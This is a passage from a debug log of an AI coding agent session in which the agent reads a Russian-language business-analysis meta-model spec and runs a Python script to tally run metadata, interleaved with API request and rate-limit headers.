\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438 \u0433\u0435\u0439\u0442\u043e\u043c, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435. |\\n| `SB-1` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443; \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u0430 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442. |\\n| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n| `SB-6` | `Skill` \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0431\u043e \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md), `SF-1`, `SF-2`). |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\n[`process-taxonomy/10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md), \u00a74.\\n\\n## 3. \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 **\u0448\u0430\u0433**. \u0428\u0430\u0433 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0442\u0430\u043a:\\n\\n```text\\nArtifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor\\n        \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human)\\n        \u2500\u2500\u25b6 Artifact_out + Trace\\n```\\n\\n\u0428\u0430\u0433 \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f**. \u041d\u0430\u0432\u044b\u043a \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438**: \u043e\u043d \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n\u0448\u0430\u0433\u0438 \u0432 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043e\u0431\u0449\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 \u0448\u0430\u0433\u0430 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442, \u043d\u043e\\n\u0437\u0430\u0434\u0430\u0451\u0442, \u0433\u0434\u0435 \u0433\u0435\u0439\u0442 \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f. `System` \u0432\u043e\u0448\u043b\u0430 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0443 \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0431\u0435\u0437 \u043d\u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0438\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f (`SY-2`).\\n\\n\u0418\u0437 \u0437\u0430\u043a\u043e\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u0427\u0442\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 |\\n| --- | --- | --- |\\n| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\",\n[2026-09-29T07:44:49.650Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:49.650Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:49.650Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:49.650Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:49.650Z] [INFO]   }\n[2026-09-29T07:44:49.650Z] [INFO] }\n[2026-09-29T07:44:49.729Z] [STDOUT] [log_2c4e18] sending request {\n[2026-09-29T07:44:49.739Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:49.743Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:49.746Z] [STDOUT]   options: {\n[2026-09-29T07:44:49.748Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:49.751Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:49.753Z] [STDOUT]     body: {\n[2026-09-29T07:44:49.764Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:49.768Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:49.773Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:49.777Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:49.780Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:49.783Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:49.785Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:49.791Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:49.796Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:49.807Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:49.812Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:49.825Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:49.830Z] [STDOUT]     },\n[2026-09-29T07:44:49.834Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:49.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:49.842Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:49.851Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:49.854Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:49.858Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:49.860Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:49.864Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:49.870Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:49.873Z] [STDOUT]     },\n[2026-09-29T07:44:49.878Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:49.882Z] [STDOUT]   },\n[2026-09-29T07:44:49.889Z] [STDOUT]   headers: {\n[2026-09-29T07:44:49.893Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:49.897Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:49.901Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:49.906Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:49.911Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:49.919Z] [STDOUT]     authorization: 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\"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:50.773Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:50.782Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:50.786Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:50.790Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:50.802Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:50.824Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:50.835Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:50.840Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:50.842Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:50.956Z] [STDOUT] [log_2c4e18] response parsed {\n[2026-09-29T07:44:50.964Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:50.968Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:50.974Z] [STDOUT]   body: X {\n[2026-09-29T07:44:50.978Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:50.987Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:50.990Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:50.999Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:51.004Z] [STDOUT]     },\n[2026-09-29T07:44:51.011Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:51.019Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:51.029Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:51.037Z] [STDOUT]   },\n[2026-09-29T07:44:51.052Z] [STDOUT]   durationMs: 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{\n[2026-09-29T07:44:51.543Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"id\": \"msg_011CfXMiBU1CJrw5i85tgapP\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"content\": [\n[2026-09-29T07:44:51.543Z] [INFO]       {\n[2026-09-29T07:44:51.543Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:44:51.543Z] [INFO]         \"text\": \"Still reading the meta-model sources (invariants, metrics, and the 67-run forensics). Both research agents are still running.\"\n[2026-09-29T07:44:51.543Z] [INFO]       }\n[2026-09-29T07:44:51.543Z] [INFO]     ],\n[2026-09-29T07:44:51.543Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:51.543Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_creation_input_tokens\": 8522,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_read_input_tokens\": 78078,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:51.543Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:51.543Z] [INFO]         \"ephemeral_1h_input_tokens\": 8522\n[2026-09-29T07:44:51.543Z] [INFO]       },\n[2026-09-29T07:44:51.543Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:44:51.543Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:51.543Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:51.543Z] [INFO]     },\n[2026-09-29T07:44:51.543Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:51.543Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:51.543Z] [INFO]   },\n[2026-09-29T07:44:51.543Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:51.543Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"uuid\": \"1084a74a-4d2e-45f4-9499-cea2b0f48e6e\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:51.532Z\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"request_id\": \"req_011CfXMiB2hj5Uhmzf434m5u\"\n[2026-09-29T07:44:51.543Z] [INFO] }\n[2026-09-29T07:44:51.618Z] [INFO] {\n[2026-09-29T07:44:51.618Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:51.618Z] [INFO]   \"message\": {\n[2026-09-29T07:44:51.618Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"id\": \"msg_011CfXMi4bzvHqPzhmJoPuKX\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"content\": [\n[2026-09-29T07:44:51.618Z] [INFO]       {\n[2026-09-29T07:44:51.618Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"id\": \"toolu_01LV8hyFEV9Tjq9NVvhHVX5A\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"input\": {\n[2026-09-29T07:44:51.618Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,collections\\nrows=[]\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    rows.append(d)\\n    print(d.get('run_id'),d.get('date'),d.get('run_type'),d.get('status'),'|',d.get('model'),'|',str(d.get('author'))[:40],'|',list(d.keys()))\\nc=collections.Counter\\nprint(c(str(r.get('run_type')) for r in rows))\\nprint(c(str(r.get('status')) for r in rows))\\nprint(c(str(r.get('model')) for r in rows))\\nprint(min(str(r['date']) for r in rows), max(str(r['date']) for r in rows))\\nEOF\",\n[2026-09-29T07:44:51.618Z] [INFO]           \"description\": \"Parse all run metadata\"\n[2026-09-29T07:44:51.618Z] [INFO]         },\n[2026-09-29T07:44:51.618Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:51.618Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:51.618Z] [INFO]         }\n[2026-09-29T07:44:51.618Z] [INFO]       }\n[2026-09-29T07:44:51.618Z] [INFO]     ],\n[2026-09-29T07:44:51.618Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:51.618Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_creation_input_tokens\": 705,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_read_input_tokens\": 42139,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:51.618Z] [INFO]         \"ephemeral_5m_input_tokens\": 705,\n[2026-09-29T07:44:51.618Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:51.618Z] [INFO]       },\n[2026-09-29T07:44:51.618Z] [INFO]       \"output_tokens\": 37,\n[2026-09-29T07:44:51.618Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:51.618Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:51.618Z] [INFO]     },\n[2026-09-29T07:44:51.618Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:51.618Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     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[INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"description\": \"Running Parse all run metadata\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:51.637Z] [INFO]     \"total_tokens\": 43202,\n[2026-09-29T07:44:51.637Z] [INFO]     \"tool_uses\": 9,\n[2026-09-29T07:44:51.637Z] [INFO]     \"duration_ms\": 29320\n[2026-09-29T07:44:51.637Z] [INFO]   },\n[2026-09-29T07:44:51.637Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"uuid\": \"0fe1a820-cd52-4002-8b30-370df76255dd\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:51.637Z] [INFO] }\n[2026-09-29T07:44:51.919Z] [INFO] {\n[2026-09-29T07:44:51.919Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"message\": {\n[2026-09-29T07:44:51.919Z] [INFO]     \"role\": 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}\n[2026-09-29T07:44:51.919Z] [INFO]     ]\n[2026-09-29T07:44:51.919Z] [INFO]   },\n[2026-09-29T07:44:51.919Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"uuid\": \"d9aeb852-b67c-4b1b-ad30-a38e62f6c18b\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:51.915Z\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:51.919Z] [INFO] }\n[2026-09-29T07:44:51.949Z] [STDOUT] [log_0f1f71] sending request {\n[2026-09-29T07:44:51.953Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:51.956Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:51.960Z] [STDOUT]   options: {\n[2026-09-29T07:44:51.963Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:51.966Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:51.969Z] [STDOUT]     body: {\n[2026-09-29T07:44:51.972Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:51.976Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:51.980Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:51.982Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:51.984Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:51.985Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:51.988Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:51.990Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:51.993Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:51.997Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:51.999Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:52.005Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:52.023Z] [STDOUT]     },\n[2026-09-29T07:44:52.025Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:52.029Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:52.034Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:52.040Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:52.043Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:52.045Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:52.048Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:52.051Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:52.056Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:52.061Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:52.065Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:52.069Z] [STDOUT]     },\n[2026-09-29T07:44:52.072Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:52.075Z] [STDOUT]   },\n[2026-09-29T07:44:52.079Z] [STDOUT]   headers: {\n[2026-09-29T07:44:52.083Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:52.088Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:52.094Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:52.098Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:52.101Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:52.103Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:52.105Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:52.109Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:52.113Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:52.116Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:52.118Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:52.123Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:44:52.127Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:52.130Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:52.134Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:52.138Z] [STDOUT]     \"x-client-request-id\": \"2b47db6f-67fa-40d8-989c-dd0b54127c6f\",\n[2026-09-29T07:44:52.144Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:52.149Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:52.153Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:52.158Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:52.161Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:52.164Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:52.168Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:52.172Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:52.174Z] [STDOUT]   },\n[2026-09-29T07:44:52.177Z] [STDOUT] }\n[2026-09-29T07:44:52.801Z] [STDOUT] [log_0f1f71, request-id: \"req_011CfXMiLYCWjkBmkyFQZ4VP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 850ms\n[2026-09-29T07:44:52.811Z] [STDOUT] [log_0f1f71] response start {\n[2026-09-29T07:44:52.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:52.818Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:52.823Z] [STDOUT]   headers: {\n[2026-09-29T07:44:52.830Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:52.835Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:52.842Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:52.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:52.847Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:52.852Z] 